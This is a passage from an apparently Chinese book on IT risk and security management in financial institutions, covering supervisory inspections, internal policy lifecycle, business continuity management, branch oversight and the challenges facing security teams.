专项检查围绕信息科技风险领域，如外包管理、可用性管理、数据安全、业务连续性管理等。例如，某年共开展××项专项检查工作，提出改进完善建议×××余个。

常规检查注重变更、发布、值班等日常运维重点模块，按周开展监督检查。例如，追踪变更发布近万个，追踪发现违规问题××个，同时提出风险规避建议×条。




图4-6　信息科技风险检查标准库




图4-7　监督检查运行图示例

事件驱动检查一般在可用性事件、信息安全事件或重大违规违纪事件发生后进行，对于检查中发现的问题全部纳入问题管理流程进行跟踪管理。而且，通过问题跟踪机制，可以同时归口管理第二、三道防线的检查发现，充分确保问题统一归口、管理追踪无遗漏，并使整改方案可实施、进度有跟踪、实施有成效，监督检查闭环流程如图4-8所示。




图4-8　监督检查闭环管理流程

监督检查是确保风险管理政策、措施、流程落地的有效保障，检查方式、投入资源、结果运用根据实际情况灵活决定。




4.4　制度管理



无论企业属于什么行业、规模大小、发展快慢、战略方向如何，都需要一套科学合理的制度体系，保证制度的合规性、有效性、可操作性及规范性，才能更好地管理和约束员工，形成有序、良性发展。金融企业的IT部门也一样。

制度一般以条文形式展示，名称通常冠以政策、规定、办法、规程、细则、指引等；制度可以通过制度补丁的方式进行调整、补充和完善，制度补丁可以采取条文或非条文的形式展示，一般以修订通知、补充通知或加强管理通知等标题体现。


1.制度体系


制度体系应遵循架构合理、层级清晰、覆盖全面的原则，制度体系一般包括三级：

·政策级制度，是指用于规范业务条线行使经营管理职责基本事项的制度，名称一般使用制度、规定、政策、章程等。

·办法级制度，是指用于规范业务条线的工作方法和具体内容的制度，名称一般使用管理办法、管理规程等。

·规程级制度，用于规范具体的作业内容，名称一般使用操作规程、操作细则、实施细则、指引等。


2.制度的起草


在起草制度过程中，应开展调查研究，广泛征求制度执行部门和人员、部门内部相关人员的意见，以论证制度的必要性、有效性、合理性和可操作性。紧密涉及其他部门职责或与其他部门关系的制度，主办部门应充分征求其意见。征求意见可采取发送征求意见函、召开制度会审会、签报以及发文会签等方式进行，其中发文会签为此类制度在发文阶段的必经程序。

制度内容一般应包括：总则（含目的依据、适用范围、管理原则、职责分工、定义等）、管理流程、监督检查及罚则（如有）、附则（含制定细则要求、解释部门、施行日期、作废声明等）。


3.制度的评审


制度评审主要包含以下内容：

·是否符合法律、规则、准则和监管要求。

·是否与本公司有关制度协调一致、接口清晰。

·是否影响本公司制度整体架构的合理性和清晰性。

·制度描述的流程是否清晰并具有可操作性。

·是否符合本公司制度的规范性要求。

·评审人员可以对其认为的其他制度问题（如制度实用性和适宜性等）提出评审意见。


4.制度的发布


经评审、审核或审议通过的制度以公文形式印发。为便于制度维护和管理，印发的制度原则上应一文号对应一项制度。主办部门应根据制度的印发时间，合理确定制度的施行日期，并在制度中明确。实际中，很多情况是“本文自发布之日起施行”，但不如确定日期更合适。


5.制度的维护


制度的维护包括制度的后续评估和制度改进。制度后续评估是指主办部门对制度实际管理效果进行的自我评估，旨在发现制度存在的问题，评估是否需要对制度进行改进。后续评估包括以下内容：

·是否存在合规性、有效性、可操作性和规范性等制度问题。

·制度间是否存在重复、冲突。

·是否存在制度缺失和管理盲点。

·对制度进行梳理，摸清制度补丁情况，评估实施整合的可行性和必要性。

对执行层面反映意见较多的制度，主办部门应及时进行后续评估。对于施行超过5年的制度，主办部门必须进行制度后续评估，并将评估结果报同级制度主管部门。

在日常工作中，总分支机构各部门应多方收集和整理制度信息，提高制度后续评估的效率和质量。制度信息包括：外部政策变化，总部制度的变化，制度解释解答，基层操作人员反馈的制度问题，业务检查发现的管理漏洞，外部或同业案件反映的管理漏洞和新风险，内部组织架构、管理和业务流程调整等。

制度改进是指根据制度后续评估结果和业务管理需要，主办部门实施的制度新增、换版、修订、补充以及整合工作。在实施制度改进工作前，主办部门要评估制度改进的成本，兼顾制度的稳定性和执行的方便性，选择印发制度补丁、增加新制度或换版等方式对制度实施改进。对于制度存在较多补丁的，相关部门要结合部门制度架构的安排，对制度实施整合。一般情况下，一项制度的补丁不应超过3个。

制度补丁主要有以下几种方式：

·修订通知，是指针对具体制度条款实施调整的制度补丁，发文中应写明作废条款的内容以及对应替换条款的内容，一般情况下其发文标题拟为“关于修订《××公司×××》有关条款的通知”，并在文中注明解释部门和施行日期。如同时补充了相关内容，应对补充内容进行独立描述，并将发文标题拟为“关于《××公司×××》的修订补充通知”。

·补充通知，是指针对具体制度进行整体补充的制度补丁，不对原制度条款实施改变，发文中主要描述补充的内容，一般情况下其发文标题拟为“关于《××公司×××》的补充通知”，并在文中注明解释部门和施行日期。如属对新增业务功能或管理内容的补充，也可采取条文的形式，一般情况下其发文标题拟为“关于印发《〈××公司×××〉新增×××的补充规定》的通知”。

·加强管理通知，是指从某一类业务或管理出发提出的改进要求，对原有的一系列相关制度规定均实施改变的制度补丁，一般情况下其发文标题拟为“关于加强××管理的通知”，并在文中注明解释部门和施行日期。

为加强制度补丁的关联性和针对性，以便于制度查阅和学习的系统性，各部门在选择制度补丁方式时，应尽可能采用“修订通知”或“补充通知”的方式。如以“电邮部通”方式下发的通知涉及制度管理的，一般仅限于对制度进行强调或解释，不得用于对制度进行补充和修订。


6.制度的日常管理


制度应明确解释部门，原则上由制度主办部门负责解释，特殊情况下应明确各部门解释的范围。低层级制度与高层级制度规定相抵触时，以高层级制度规定为准，但制度解释部门另有正式批复或回复的除外。




4.5　业务连续性管理






4.5.1　定义和标准




1.业务连续性管理定义


英国标准协会（British Standards Institution，BSI）：业务连续性管理（Business Continuity Management，BCM）是一个整体性的管理流程，它主要识别威胁组织的潜在影响，并且提供构建组织弹性和有效响应的框架，以保护组织关键利益相关方的利益、声誉、品牌以及价值创造的活动。（BSI，BS25999，ISO22301的前身。）

中国银监会：商业银行为有效应对重要业务运营中断事件，建设应急响应、恢复机制和管理能力框架，保障重要业务持续运营的一整套管理过程，包括策略、组织架构、方法、标准和程序。（《商业银行业务连续性监管指引》银监发[2011]104号）


2.ISO 22301


ISO22301为第一份直接以业务连续性管理（Business Continuity Management，BCM）为主题的国际标准。该标准的性质为要求（Requirements），因此可用于审核与认证。除了ISO 22301外，另有属于指引（Guidance）的ISO 22313，ISO 22313与ISO 22301合为具有完整架构的业务连续性管理国际标准。




4.5.2　监管要求




1.银监会有关业务连续性管理要求


2007年《商业银行操作风险管理指引》中，业务连续性要求的重点为实现从系统到业务的提升。

2008年《银行业重要信息系统突发事件应急管理规范》中，明确了银行突发事件应对原则；日常管理以及应急管理组织架构；细化了危机事件预测预警和内外部上报流程。

2009年《商业银行信息科技风险管理指引》中，商业银行应制订全面的信息科技风险管理策略，包括业务连续性计划和应急处置。

2010年《商业银行数据中心监管指引》中，明确了数据中心的建设以及灾备中心的系统、数据建设目标，以满足业务连续性的需求。

2011年《商业银行业务连续性监管指引》中，从全行层面明确规定了业务连续性管理建设各阶段的要求，具有较强的规范性与可操作性。

2013年《商业银行资本管理办法》中，明确要求业务连续性管理实施是标准法计提操作风险资本的前提条件之一。


2.中国人民银行有关业务连续性管理要求


2002年《关于加强银行数据集中安全工作的指导意见》中，规范了银行网络可靠率、UPS供电时间、数据全备份频率、灾备中心建设、业务连续性计划和演练要求。

2006年《关于进一步加强银行业金融机构信息安全保障工作的指导意见》中，强调了银行需建立灾备中心，并定期进行灾备演练。

2007年《银行业信息系统灾备恢复管理流程》中，规范了信息系统应急响应和灾备恢复的具体要求，规范了灾备恢复组织架构，明确了各等级系统的恢复时间目标（Recovery-Time Objective，RTO）和恢复时间点目标（Recovery Point Objective，RPO）。


3.世界部分地区金融业监管机构发布的相关指引


部分国家及地区金融监管相关指引如表4-1所示。

表4-1　部分地区金融监管相关指引







4.5.3　BCM实施过程



根据国际良好实践以及BCM的实施经验，将BCM的实施过程总结为以下几个关键步骤：

1）制度和组织建设。建立BCM管理制度，组建总分支机构BCM管理组织架构，明确各部门职责。

2）业务影响分析（Business Impact Analysis，BIA）和风险评估（Risk Assessment，RA）。确定BCM的需求和管理策略，识别、分析、评价风险，确定防止、降低损失的控制措施。

3）资源建设、预案制订。为满足业务持续运营目标而开展的资源建设，根据RA的成果制订和完善预案。

4）演练、维护和评估。通过演练提高组织应急处置能力，验证资源可用性，评估BCM体系并持续改进。

5）BCM企业文化建设。贯穿BCM整个过程，提高全员意识，将BCM融入企业文化中。




4.5.4　业务影响分析和风险评估




1.术语定义


（1）重要业务

《商业银行业务连续性监管指引》（银监发〔2011〕104号）第三条规定重要业务是指面向客户、涉及账务处理、时效性要求较高的银行业务，其运营服务中断会对商业银行产生较大经济损失或声誉影响，或对公民、法人和其他组织的权益、社会秩序和公共利益、国家安全造成严重影响的业务。

支持重要业务运行的系统，相应地就称为重要系统。

（2）RTO和RPO

恢复时间目标（RecoveryTime Objective，RTO）分业务RTO和系统RTO，指业务或系统从中断到恢复所需要的时间，是业务或系统恢复及时性的指标。恢复时间点目标（Recovery Point Objective，RPO）分业务RPO和系统RPO，指业务或系统数据恢复到的时间点，是业务或系统恢复数据完整性的指标。

（3）BIA

业务影响分析（Business Impact Analysis，BIA）是整个BCM流程建立的基础工作，在这一过程中，通常会利用定量和定性分析相结合的方法对业务中断可能导致的经济与运营损失进行科学的分析，从而制订重要业务的恢复优先级、恢复目标（RTO与RPO）以及重要信息系统的恢复优先级和恢复目标等，通过BIA确定业务连续性管理的策略。

BCM就是解决运营中断事件发生时需要用多少资源、多长时间、什么方式、恢复什么业务的问题，其中资源、时间、业务都是BIA的成果。

《商业银行业务连续性监管指引》（银监发〔2011〕104号）第二十三条规定，商业银行应当通过业务影响分析识别和评估业务运营中断所造成的影响和损失，明确业务连续性管理重点，根据业务重要程度实现差异化管理，确定各业务恢复优先顺序和恢复指标。商业银行应当至少每三年开展一次全面业务影响分析，并形成业务影响分析报告。

（4）风险评估

风险评估（RA）是进行风险识别、风险分析和风险评价的整个过程，基于BCM的风险评估，关注于可能对BIA所识别的重要业务造成中断的各类威胁发生的可能性和影响程度，并针对潜在的威胁和影响制订进一步的风险管控措施。RA是BCM开展的基础和主要需求来源之一。

《商业银行业务连续性监管指引》（银监发〔2011〕104号）第二十八条规定，“商业银行应当开展业务连续性风险评估，识别业务连续运营所需的关键资源，分析资源所面临的各类威胁以及资源自身的脆弱性，确定资源的风险敞口。关键资源应当包括关键信息系统及其运行环境，以及关键的人员、业务场地、业务办公设备、业务单据以及供应商等”。第二十九条规定，“商业银行应当根据风险敞口制订降低、缓释、转移等应对策略。依据防范或控制风险的可行性和残余风险的可接受程度，确定风险防范和控制的原则与措施”。


2.业务影响分析实施过程


业务影响分析实施过程包括重要业务和重要系统的识别，重要业务的影响分析过程及结果，重要系统的影响分析过程及结果，从而得出整个BIA成果，具体流程如图4-9所示。

恢复时间目标和恢复时间点目标（RTO和RPO）：

·业务RTO，是指业务恢复所需要的必需时间，是业务恢复及时性的指标。对于公司来说，就是允许我们用多长时间恢复中断的重要业务。

·业务RPO，是指业务恢复到的时间点，是业务恢复数据完整性的指标。对于公司来说，就是允许我们重要业务丢失多长时间的数据。




图4-9　业务影响分析实施流程

国家标准《信息安全技术信息系统灾难恢复规范》（GB/T20988—2007）附录C RTO/RPO与灾难恢复能力等级的关系，如表4-2所示。

表4-2　RTO/RPO与灾难恢复能力等级的关系




同时，通过收集和分析人民银行、银监会等监管机构发布的监管要求，得出银行业重要系统RTO和RPO的最低要求，其他金融企业可以参照执行，如表4-3所示。

表4-3　RTO和RPO监管要求





3.风险评估


1）实施前内部方案讨论，确定RA的范围和实施方式。

·参与范围：重要业务归属部门、数据中心、各一级分支机构（业务和IT）。

·评估对象：重要业务、总部IT运营、分支机构业务运营整体、分支机构IT运营等。

·实施方式：现场、非现场沟通和培训/问卷调研分析等。

2）RA调研问卷设计。根据业务和IT特点，结合评估对象差异性，有针对性地设计调研问卷和调研方式。

3）RA试点反馈，优化问卷。选择几家总部部门、分支机构作为RA工作的试点，根据试点情况反馈调整整体实施方案和优化调研问卷。

4）全面启动RA工作。确定方案和问卷后统一组织总部各部门、各分支机构开展RA工作。

5）分析整理，撰写报告。各分支机构根据各自RA结果，撰写分支机构RA报告；总部根据各部门反馈撰写总部评估报告。再综合总部和分支机构RA报告完成企业RA报告。

RA注意事项如下：

·BCM风险评估关注点。各类风险对于业务或IT系统运营的中断威胁，而非经济损失。

·BCM评估问卷。问卷只是工具，问卷上评估对象、可能性和影响打分规则、影响类别、威胁、高中低风险划分，都可以根据机构实际情况、风险偏好等进行客户化调整。

·BCM评估核心。核心在于针对评估的中、高级风险制订管控措施，不需大而全的措施，但要保障措施的可实施性，改进周期可自定，但不建议超一年，在下次RA时可分析措施的有效性。




4.5.5　BCP、演练和改进




1.术语定义


业务连续性计划（Business Continuity Plan，BCP），是一种策略规划，当灾难发生致使组织关键业务或服务中断时，BCP可以指导迅速恢复关键业务的正常与持续运作。BCP是组织在实施BCM过程中的产出物，并在BCM过程中不断更新和完善。银监会监管指引要求BCP主要内容应包括：重要业务及关联关系、业务恢复优先次序；重要业务运营所需关键资源；应急指挥和危机通讯程序；各类预案以及预案维护、管理要求；残余风险。

总体应急预案，是商业银行应对运营中断事件的总体方案，包括总体组织架构、各层级预案的定位和衔接关系，及对运营中断事件的预警、报告、分析、决策、处理、恢复等处置程序。总体预案通常用于处置导致大范围业务运营中断的事件。

重要业务专项应急预案，应当注重灾难场景的设计，明确在不同场景下的应急流程和措施。业务条线的专项应急预案，应当注重调动内部资源、采取业务应急手段尽快恢复业务，并和信息科技部门、保障部门的应急预案有效衔接。


2.内容


业务连续性计划的主要内容应当包括：

·重要业务及关联关系、业务恢复优先次序。

·重要业务运营所需关键资源。

·应急指挥和危机通信程序。

·各类预案以及预案维护、管理要求。

·残余风险。

专项应急预案的主要内容应当包括：

·应急组织架构及各部门、人员在预案中的角色、权限、职责分工。

·信息传递路径和方式。

·运营中断事件处置程序，包括预警、报告、决策、指挥、响应、回退等。

·运营中断事件处置过程中的风险控制措施。

·运营中断事件的危机处理机制。

·运营中断事件的内部沟通机制和联系方式。

·运营中断事件的外部沟通机制和联系方式。

·应急完成后的还原机制。


3.演练


演练的目的如下：

·检验应急预案的完整性、可操作性和有效性。

·验证业务连续性资源的可用性。资源包括人员、IT系统、IT灾备中心、办公和业务场地、基础公共资源、指挥中心、办公及业务开展所需的其他资源等。

·提高运营中断事件综合处置能力。

·提高应急参与人员处置能力、熟悉处置流程、提高全员应急意识、提高应对信心。

监管要求包括：《商业银行业务连续性监管指引》（银监发〔2011〕104号）第五章规定，业务连续性计划演练中，对演练计划的制订、重要业务演练周期、演练时间点、演练重点（业务和IT配合、IT系统接管能力）、演练参与者（外部供应商要求）、外部机构演练、演练的记录、总结、评估、改进等都提出要求。

演练方式如下。

桌面演练（说）：

·熟悉处置流程。

·检查角色分工。

·检查计划内容。

·为实战演练准备。

·场景简单。

实战演练（做）：

·真实资源调配。

·真实系统切换。

·真实场地转移。

·全方位检验应急处置的有效性。

·场景复杂。


4.持续改进


持续改进包括以下工作内容：

·每年需要针对业务连续性管理体系的完整性、合理性、有效性组织一次自评估，或者委托第三方机构进行评估，并向高管层提交评估报告。

·每年需要针对业务连续性管理文档进行修订，修订内容包括重要业务调整、制度调整、岗位职责与人员调整等，确保文档的真实性、有效性。

·开发新产品时，应同步考虑是否将其纳入业务连续性管理范畴。对纳入业务连续性管理的，应当在上线前制订业务连续性计划并实施演练。

·在业务功能或关键资源发生重大变更时，应当及时对业务连续性相关文档进行修订。

·每三年进行一次业务连续性管理的专项审计，在发生大范围业务运营中断事件后也要及时开展专项审计。

有部分企业采用了业务连续性管理系统（BCMS），进行业务连续性日常管理，也取得了不错的效果。




4.5.6　DRI组织及认证




1.国际灾难恢复协会（DRI International）


DRI International（DRII）成立于1988年。其使命是通过提供教育和帮助，以及发布标准的基础资源，来推广业务连续性规划和灾难恢复行业的通用知识体系；协助建立公共和私营机构之间的合作，来推广相关行业标准；通过对业务持续领域的专业人员进行认证，来提高获认证人员的可信度和专业技能。

有关DRI International的更多信息见：
http://www.drii.org

 。


2.DRI中国技术委员会


DRI中国技术委员会（DRI China Technical Committee，DRICTC）是DRI China的核心机构，其宗旨是为DRI China的发展提供组织建设、战略规划等方面的建议和决策支持，帮助DRI China推进BCM、突发公共事件应急管理（Emergency Management，EM）以及IT信息系统灾难恢复（Disaster Recovery，DR）在中国的发展，建立和完善相关行业标准，解决应用实践中的问题，跟踪国内外BCM的发展趋势，促进BCM向科学化、专业化、规范化和国际化方向发展；协助DRI China在中国培养更多符合国际标准的BCM人才；为国内外BCM专业人士、管理人员、政府主管部门、学术机构及厂商，搭建行业内外信息沟通与交流平台，促进相互合作，共同推进中国各行业BCM的应用和发展；提高中国政府和企业高层管理者对于防范及应对风险的认识和管理水平，增强其抵御灾难并持续发展的能力。

DRI中国技术委员会的性质是以政府、金融、保险、证券、电信、交通、能源等DR，EM，BCM的主管，以及该领域的专家、学者等自愿组成的学术性、公益性、非营利性组织。

有关DRI中国技术委员会的更多信息见：
http://www.drichina.org/

 。


3.有关业务连续性管理的国际认证


有关业务连续性管理的国际认证，认可度较高的是DRI International组织维护的国际认证体系，一共有以下四种。

·MBCP（Master Business Continuity Professional）—DRI国际认证的最高级别，专门用于在业务连续性/灾难恢复行业具有高级知识和技能的个人。该认证是针对具有至少五年行业经验的个人。

·CBCP（Certified Business Continuity Professional）—CBCP认证要求：1）在业务连续性/灾难恢复行业拥有丰富知识和工作经验的人员；2）该级别需要超过两年的经验；3）申请人必须能够在专业实践的五个主题领域中展示具体和实际的经验。

·CFCP（Certified Functional Continuity Professional）—CFCP认证级别，适用于在业务连续性/灾难恢复行业具有知识和工作经验的个人。该级别需要超过两年的经验。申请人必须能够在专业实践的三个主题领域中展示具体的实践经验。

·ABCP（Associate Business Continuity Professional）—ABCP级别，适用于行业经验少于两年的个人，对业务连续性管理知识最少且已成功通过资格考试的人员。

中国申请较多的BCM国际认证证书是CBCP由DRII为需要获得DRII国际标准资格认证的人员而设计的课程。




4.6　信息科技外包管理



近年来，各金融机构处于业务快速发展时期，产品不断丰富，开发需求持续增长，对研发产能需求很大，合理利用外包可以一定程度上减小自身队伍快速膨胀带来的人力资源波动风险，有效利用市场资源。同时通过引入外部公司资源，获取IT服务提供商的先进经验，提升自身科技队伍的管理及创新水平。但与此同时带来了一系列外包管理风险。“工作可以外包，责任不能外包”，已成为监管层的明确要求。

有关外包管理详细内容见第7章外包安全管理。




4.7　分支机构管理



各金融机构基本都在全国各地分布着一些分支机构，比如银行和证券公司。分支机构的规模都比较大，有的分支机构还有一定规模的信息技术部门。分支机构的IT风险管理也是重要内容。

分支机构的管理内容包括：

·合规管理。明确分支机构需遵守的IT制度，并进行全覆盖的检查，检查可以是远程与现场相结合的方式进行。合规检查情况纳入当年度分支机构考核。

·事件管理和问题管理。分支机构发生可用性事件和安全事件时，进行事件调查和处理。相关改进措施纳入问题管理跟踪督促。

·项目推广。每年总部会有一些重点工作，需要分支机构落实，放入项目推广工作中。

·人才培养。建立分支机构IT人才的认证模型，进行专业培训和认证考试，科学评价各分支机构岗位人才胜任情况。

有效措施包括：

·建立定期会议机制。比如季度分支机构IT工作例会，全体分支机构IT负责人和骨干参加。年度分支机构IT工作会议，通报各分支机构IT工作全年情况，表彰先进，督促后进。

·建立分支机构评级机制。分支机构根据规模大小分成ABC三类，同一类之间进行科技评级，通过评级机制，将改进优化的一些非合规类要求给到分支机构，相比检查更有利于分支机构主动开展IT建设工作，评级注重的是未来持续发展能力。

·开展分支机构检查并全覆盖，确保分支机构管理要求落地。检查可以采用现场检查和非现场检查相结合；计划内检查和飞行检查相结合；对标类检查和技术类检查相结合等方式。




4.8　信息科技风险库示例



为了让读者对信息科技风险库有直观清晰的认识，参照银监会《商业银行信息科技风险管理指引》的框架，给出了一份信息科技风险库示例，如表4-4所示，这个示例只列举了一级和二级领域。

表4-4　信息科技风险库示例










信息科技风险库很重要的一个输入是，业界和企业内部历史上曾经发生的信息科技风险事件案例，以及监管机构发布的风险提示、披露的行业信息科技风险事件。将内部过往信息科技风险事件提炼成风险库，并作为信息科技风险管理的重点，在风险监测和防控、监督检查等方面重点关注，争取做到历史事件免疫。




4.9　小结



金融行业是牌照行业，接受严格的监管，合规是金融企业的底线和最低要求。本章详细地讲述内控合规的方方面面。IT内控合规是广义信息安全的一部分，是管理体系中很重要的一环，金融企业做好IT内控合规管理建设，需要建立一套外规对内规、内规对检查、检查对整改、整改对考核的闭环管理体系。




第5章　安全团队建设



金融企业的信息安全管理是一项综合性极强的工作，既包括信息科技治理架构、信息科技合规建设、信息安全管理体系等安全管理类工作，又包括安全运营、安全攻防对抗、安全态势感知等技术性工作。随着信息安全技术发展日新月异，各种攻击手段层出不穷，而且由于金融行业面临的攻击具有获利高、影响广、危害大等特点，金融行业信息安全管理的要求日趋精细，对信息安全团队的基础能力、学习能力、创新能力都提出了巨大的挑战。信息安全工作的完成是虚有其表，还是卓有成效，最核心的决定因素在于是否建立起一支懂管理、精技术、基本功扎实、战斗力强劲的信息安全团队。

大力加强信息安全团队建设，培养信息安全专业人才，在金融业信息安全防控工作中具有举足轻重的作用。




5.1　安全团队建设的“痛点”



这个互联网上曾经红极一时的漫画（如图5-1所示），非常生动形象地反映了信息安全团队的痛点，其核心词就是“背锅”。虽然网络漫画有失偏颇和略显夸张，但真实反映了信息安全团队成员价值感缺乏、压力巨大的现实情况。

对于金融企业来说，信息安全工作非常重要，这是任何一个金融行业的董事会和高管层都不容忽视的领域。尽管所有金融企业都会将信息安全作为重要工作对待，基于信息安全工作与生俱来的特点，金融企业信息安全团队仍然摆脱不了整个行业的“宿命”。概括来说，金融企业信息安全团队主要存在以下几方面的痛点。


1.价值感和存在感缺乏


首先，对于金融企业来说，信息科技是“后台部门”，而信息安全工作是“后台中的后台”。信息科技工作是为前中台部门服务的，在业务发展良好的时候，信息科技工作往往并不会有很大的存在感，最多在“功劳簿”中算上一笔（辅助作用）。而一旦因为信息科技风险事件影响到业务正常开展，甚或仅仅是某些系统的客户体验不好、用户操作不方便、功能不完善等造成业务使用的困难，信息科技就很容易成为“众矢之的”。而信息安全工作，更是可谓“后台中的后台”，在信息科技工作的“主流程”中很难排上位置，通常与综合管理、商务管理等一起被归入信息科技的辅助支撑性职能中。




图5-1　信息安全痛点的形象描述

对于信息安全团队来说，如何体现对科技工作的价值，进而体现对业务的价值，是一个亟待破解的难题。另一方面，对于信息科技部门的其他团队来说，信息安全团队就是不停地提要求、做检查、当监工、找漏洞，却往往不是最后的执行人。所以信息安全团队总有点“吃力不讨好”，经常面临误解、抵触甚至冲突，承受着巨大的压力。

其次，信息安全工作，核心职能是“踩刹车”而不是“踩油门”。信息安全工作，是考虑正常流程之外的风险控制措施，就是充分考虑可能出现的漏洞、异常，并且采取加强型措施来规避。但信息安全天生与客户体验是“背道而驰”的。例如，金融企业最常见的身份认证措施，如果要安全，就至少需要双因素认证，而且至少需要两类的双因素，通常一笔转账，就需要账户密码、短信两个因素。这必然需要客户更多的操作步骤。而如果只做一个因素的认证，客户操作方便了许多，但是却容易出现密码被盗取、撞库攻击或者短信被木马拦截从而泄露的情况。所以，为了快速响应业务需求，在信息系统开发的生命周期中，优先考虑的是系统功能如何最快速实现、客户体验如何最大程度优化，而在安全措施方面需要做一些牺牲或让步。这个时候，信息安全团队需要“冒天下之大不韪”地挺身而出，做“唱白脸”的人，在需求阶段就提出安全要求，在设计和开发阶段落实安全要求，在测试阶段验证安全要求落地情况，在投产后还要孜孜不倦地检查确保安全要求达到，在碰到安全事件时再次复盘，排查此前考虑的缺漏，从而实现螺旋上升。这些措施，对于业务来说，除了增加各类限制这种“阻碍业务发展”的措施外，几乎看不到安全团队的价值。业务跟信息安全团队的接触，除了就是否“踩刹车”而PK之外，几乎没有其他可以遇上的机会。而一旦没有坚持安全的底线，在漏洞真正被利用的时候，安全团队除了“背锅”，似乎别无选择。

再次，信息安全工作往往实施周期长，动辄需要几个月、半年，甚至一年的实施周期，所以效果需要很长时间的积累才能显现出来。例如，信息安全风险监测，指标设立后需要非常长时间的数据积累才能分析出结果；安全工具的实施，只是万里长征走完了第一步，后续的策略维护和日常运营，才是真正见功夫和水平的，需要很长一段时间的细心监测、数据分析和策略调优，才能发挥效果。信息安全团队，必须秉承工匠精神，一步一步、耐心细致地做好每一个日常的规定动作，才能确保不出问题。但这些幕后的工作，确实很难走上前台，被领导、业务部门甚至本部门的人员所看到、理解和接受，因此安全团队强烈缺乏存在感。

金融企业的信息安全人员，普遍存在难以找到个人价值感和成就感，甚至默默无闻没有存在感的情况，很容易丧失目标，找不到方向，从而难以实现自我价值和突破，需要有人帮助信息安全团队形成自己的价值体系，实现“专业自信”，方可打开向上的进步空间。


2.投入少，绩效衡量难


对于金融企业的信息科技工作来说，信息系统建设是最能实现投入产出比的工作，所以大量的科技投入都放在系统开发部门。衡量开发工作的指标比较容易设置，例如，投产计划达成率、应用系统故障率等，甚至部分业务系统可以用新增客户数、新增用户数、存贷款量以及利润值等指标来衡量。

生产运行所必备的基础设施建设和稳定运行所必备的监控、审计等相关支撑类系统建设及维保服务，也让运维工作的投入可以占到一定的比例。通常可以用事件或故障数量、运维工单数量等来衡量运行工作的绩效。

但是信息安全工作相对来说就比较难得到大手笔的投入，通常能在信息科技投入中占比5%就相当不错了。因为在高层领导看来，信息安全工作就像个无底洞，投入很多却难以见效，安全工作的价值难以量化和表现。例如，金融企业信息安全工作的目标是防控风险，防止漏洞被利用而产生实际的经济或非经济损失。但是，如果信息安全工作做到极致，没有发生任何的风险或者没有出现任何的信息安全事件，往往被认为“运气好”或者“没被坏人盯上”。而万一一个风险事件成为现实，可能一切归零，之前的所有安全工作都被否定。因此，信息科技风险的产生和安全攻击事件经常是“碰运气”的结果而非安全工作可以完全避免的，导致信息安全工作的绩效难以得到相对公正的衡量。

此外，安全工作通常会被认为比较“虚”，难以直接看到效果，往往只能具体到每个月或者每周做了什么，如做风险防控、做策略优化、做安全检查、做整改督办，但是领导只看到你在做检查、做整改督办、做安全工具维护，而具体化解了多少个风险，堵住了多少次攻击，是运气好没被盯上还是自己篱笆扎得紧，却是难以评估和量化的。所以，安全团队的绩效，领导通常很难看到，也很难用一些量化的指标去向领导展现和报告。


3.风险压力大


信息安全团队的天职就是化解风险，可以说每天面对的就是各种各样的风险，所以信息安全人员很容易形成“职业病”，例如，有“工作洁癖”，看谁都像坏人，或者习惯性地对任何东西都形成备份等。

但是所谓“道高一尺，魔高一丈”，信息安全人员再高明，日常工作再认真细致，还是会滞后于黑产的发展，滞后于风险的暴露。所以尽管信息安全工作一再强调“风险前移”，但事实上绝大多数的风险，都是在事后才被发现。真正能做到事前、事中控制和化解的，毕竟是少数。因此，信息安全人员很多时间都是在扮演“救火队员”，都处于一种紧张、焦虑的状态。特别是金融企业信息安全人员，一着不慎，有可能面临的就是客户信息泄露、资金损失这样严重的事件，所以金融企业信息安全人员面临的风险压力是非常之大的。


4.综合性人才、专业人才稀缺


我国普通高校的信息安全专业设立才不过区区数年时间，以前都是由计算机这个大学科背景的人员从事信息安全工作，密码学原理、攻防基础等课程，并没有成为信息安全人员的“标配”。很多的信息安全人员都是从具备一点点计算机知识开始，逐步通过自学知识、掌握工具、泡论坛学习交流以及血淋淋的案例教训等方式，慢慢成长起来的。

金融企业的信息安全人员，处理的信息安全问题大到信息科技治理、信息科技战略规划，小到具体的安全指标监测、安全事件处置、安全防控策略调优等，工作覆盖面广，接触信息量大，因此，除了具备安全专业知识外，还必须掌握金融领域的业务知识，同时必须了解安全企业的开发、运行等工作特点，才能从各个角度全方位地做好安全防控，应对针对网络、系统、应用、终端等各方面漏洞的攻击风险。

所以，要既具备信息安全基础知识，又了解金融领域业务知识，还能对开发、运行的工作有所精通，这样的人才是稀缺的，往往是从某一个领域入手，逐步培养和转化而来。


5.职业规划前景不明，职业发展的“天花板”较低


职业规划对个人的重要性不言自明，有职业规划意味着有目标，有目标意味着有动力，有动力才能不断前进。因此，职业规划对于一个人的事业成败，起着决定性的影响。

对于金融企业的信息安全人员来说，要做好职业规划绝非易事。因为做任何一个职业规划，最重要的因素就是“天花板”在哪里，这个“天花板”决定了团队成员努力的最高目标。金融企业的信息安全虽然相对于其他行业来说很重要，也得到了更多的重视，但是通常都没有专门设置CSO（首席安全官），因此信息安全人员的“天花板”基本上就是信息安全团队的主管（如银行业的信息安全处室负责人，证券行业的安全总监等）。信息安全团队的规模，在大型金融企业中可以达到十余人至数十人之众，但中小型金融企业其规模往往不会超过十人，信息安全团队主管的权限范围较难扩大。且由于信息安全并非信息科技工作的“主营业务”，信息安全团队主管对业务、信息系统和生产运维工作的了解掌握往往难以深入，因此继续升迁至部门负责人、CIO的机会微乎其微。

在这种情况下，金融企业信息安全团队成员的职业规划空间就较为狭窄。通常是一部分人走安全管理路线，一部分人走安全技术路线，其中的脱颖而出者就走至安全团队负责人。因此，团队中拥有更大抱负的佼佼者，往往会想办法离开安全团队，走向更贴近业务、更贴近市场的开发、运行条线，以谋求更大的发展空间。

要解决信息安全团队的普遍“痛点”，需要从信息安全团队面临的企业宏观环境着手分析，从信息安全文化建设、信息安全团队意识建设、信息安全团队能力建设、信息安全绩效指标体系建设等几方面多管齐下，从而打造一个责任心强、有组织有纪律、富有战斗力的团队。




5.2　安全团队面临的宏观环境



信息安全团队不是孤立存在的，信息安全的价值体现在对业务、对企业发展的价值。因此，信息安全团队的“痛点”，也必须放在金融企业宏观环境这个大格局中，先从分析团队面临的环境入手，才能真正有效地化解矛盾，解决问题。


1.信息安全团队要有独立的使命、愿景和价值观，但必须服从企业整体的使命、愿景和价值观


要建立一支具有优良作风和专业水平的信息安全团队，需要先确立团队自身的相对独立的使命、愿景和价值观，这是信息安全团队全体成员共同遵守的准则和纲领，必须贯彻到每一个信息安全团队成员，并时常学习、互相提醒以刷出“存在感”。

